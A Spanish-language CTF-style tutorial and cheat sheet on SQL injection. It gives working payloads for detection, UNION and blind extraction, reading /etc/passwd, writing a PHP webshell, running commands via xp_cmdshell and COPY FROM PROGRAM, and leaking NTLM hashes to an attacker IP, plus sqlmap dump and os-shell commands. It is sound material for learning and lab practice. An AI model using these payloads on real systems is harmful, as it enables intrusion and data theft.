Inyección SQL: de la comilla al volcado de la base de datos
Cómo detectar una SQLi, sacar datos con UNION, a ciegas o por tiempo, leer ficheros y cuándo tirar de sqlmap. Con chuleta por motor (MySQL, PostgreSQL, MSSQL, SQLite).
Una inyección SQL aparece cuando la aplicación pega lo que escribes dentro de una consulta en vez de pasarlo como parámetro. En una máquina de CTF suele ser la puerta de entrada: credenciales en una tabla users, un fichero de configuración leído con LOAD_FILE o directamente ejecución de comandos.
Detectarla
Prueba cada parámetro (GET, POST, cookies, cabeceras como User-Agent o X-Forwarded-For) con caracteres que rompan la sintaxis y fíjate en cualquier cambio: un error 500, una página en blanco, menos resultados o una respuesta más lenta.
| Prueba | Qué buscas |
|---|---|
' y " |
Error de sintaxis o respuesta distinta |
' OR 1=1-- - |
Te deja pasar un login o devuelve todas las filas |
' AND 1=2-- - |
La página sale vacía (y con 1=1 vuelve a salir) |
1 AND 1=2 |
Lo mismo en un parámetro numérico, sin comillas |
' AND SLEEP(5)-- - |
La respuesta tarda 5 segundos más |
Truco
El comentario -- - lleva un espacio y algo detrás porque MySQL exige un espacio tras --, y muchos navegadores o frameworks recortan el espacio final. En MySQL también vale # (codificado como %23 en la URL).
Si el login devuelve "usuario o contraseña incorrectos" pero con admin'-- - entras, la consulta era algo como SELECT * FROM users WHERE user='$u' AND pass='$p' y acabas de comentar la comprobación de la contraseña.
UNION: cuando ves el resultado en la página
Con UNION SELECT añades tus propias filas al resultado. Necesitas el mismo número de columnas que la consulta original.
' ORDER BY 1-- - -- sube el número hasta que dé error: la anterior es el total
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT 1,2,3-- - -- ¿qué números se ven en la página? Ahí escribes
Después, saca información del motor:
' UNION SELECT 1,@@version,database()-- -
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,':',password SEPARATOR '<br>'),3 FROM users-- -
Nota
Si la aplicación solo enseña la primera fila, añade LIMIT 1 OFFSET n o haz que la consulta original no devuelva nada (' AND 1=2 UNION SELECT ...) para que tu fila sea la primera.
Chuleta por motor
| MySQL / MariaDB | PostgreSQL | MSSQL | SQLite | |
|---|---|---|---|---|
| Versión | @@version |
version() |
@@version |
sqlite_version() |
| Base de datos actual | database() |
current_database() |
DB_NAME() |
— |
| Tablas | information_schema.tables |
information_schema.tables |
information_schema.tables |
sqlite_master |
| Juntar filas | group_concat(x) |
string_agg(x, ',') |
STRING_AGG(x, ',') |
group_concat(x) |
| Esperar | SLEEP(5) |
pg_sleep(5) |
WAITFOR DELAY '0:0:5' |
— (consulta pesada) |
| Concatenar | concat(a,b) |
a||b |
a+b |
a||b |
A ciegas: sin ver el resultado
Si la página solo cambia entre "hay resultado" y "no hay resultado" (boolean-based), pregunta carácter a carácter:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
Si ni siquiera eso cambia, usa el tiempo (time-based):
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(3),0)-- -
Hacerlo a mano es eterno. Un script corto te enseña mucho más que sqlmap sobre lo que está pasando:
import string
import requests
URL = "http://10.10.10.10/login.php"
ALFABETO = string.ascii_lowercase + string.digits + "$./_{}"
secreto = ""
while True:
for c in ALFABETO:
payload = f"admin' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),{len(secreto) + 1},1)='{c}'-- -"
r = requests.post(URL, data={"username": payload, "password": "x"})
if "Welcome" in r.text: # lo que distingue un "sí" de un "no"
secreto += c
print(secreto)
break
else:
break # ningún carácter encaja: hemos terminado
Truco
Con una búsqueda binaria sobre ASCII(SUBSTRING(...)) (> 64, > 96...) bajas de ~40 peticiones por carácter a 7.
Leer y escribir ficheros
En MySQL, si el usuario tiene el privilegio FILE y secure_file_priv está vacío:
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
' UNION SELECT 1,'<?php system($_GET["c"]); ?>',3 INTO OUTFILE '/var/www/html/c.php'-- -
Leer ficheros es oro aunque no puedas escribir: configuración de la web (config.php, .env), claves SSH o la configuración del servidor web para saber dónde está el código (/etc/apache2/sites-enabled/000-default.conf, /etc/nginx/sites-enabled/default).
Ejecución de comandos
-
PostgreSQL (superusuario o rol
pg_execute_server_program):CREATE TABLE cmd(o text); COPY cmd FROM PROGRAM 'id'; SELECT * FROM cmd;Necesitas consultas apiladas (
;), que PostgreSQL acepta desde muchos lenguajes. -
MSSQL, si eres
sao tienes permisos para reactivarxp_cmdshell:EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami';Si no,
EXEC xp_dirtree '\\10.10.14.5\x'hace que el servidor se autentique contra tu Responder y te da el hash NetNTLMv2 de la cuenta del servicio. -
MySQL: lo normal es escribir una webshell con
INTO OUTFILE(arriba).
sqlmap, bien usado
Guarda la petición desde Burp (clic derecho → Copy to file) y pásasela entera: así lleva cookies y cabeceras.
sqlmap -r peticion.txt --batch # detecta
sqlmap -r peticion.txt --batch --dbs # bases de datos
sqlmap -r peticion.txt --batch -D web --tables
sqlmap -r peticion.txt --batch -D web -T users --dump
sqlmap -r peticion.txt --batch -p id --level 5 --risk 3 # más pruebas sobre un parámetro
sqlmap -r peticion.txt --batch --technique=T --dbms=mysql # solo time-based, más rápido
sqlmap -r peticion.txt --batch --os-shell # si se puede, shell
Cuidado
--risk 3 añade pruebas con OR que pueden modificar o borrar datos en un UPDATE o DELETE. En un laboratorio da igual; en una auditoría real, piénsalo dos veces.
Si hay un WAF sencillo, prueba los tamper scripts: --tamper=space2comment,between.
Lo que se suele pasar por alto
- Segundo orden: lo inyectas al registrarte (nombre de usuario
admin'-- -) y se ejecuta más tarde, en otra página que usa ese valor. - Otros sitios: cookies,
X-Forwarded-For, el nombre de un fichero subido, JSON ({"id": "1 OR 1=1"}) y parámetros de ordenación (?sort=name), donde no puedes usar comillas pero síCASE WHEN. - NoSQL: si detrás hay MongoDB, la sintaxis es otra; mira las máquinas con NoSQLi.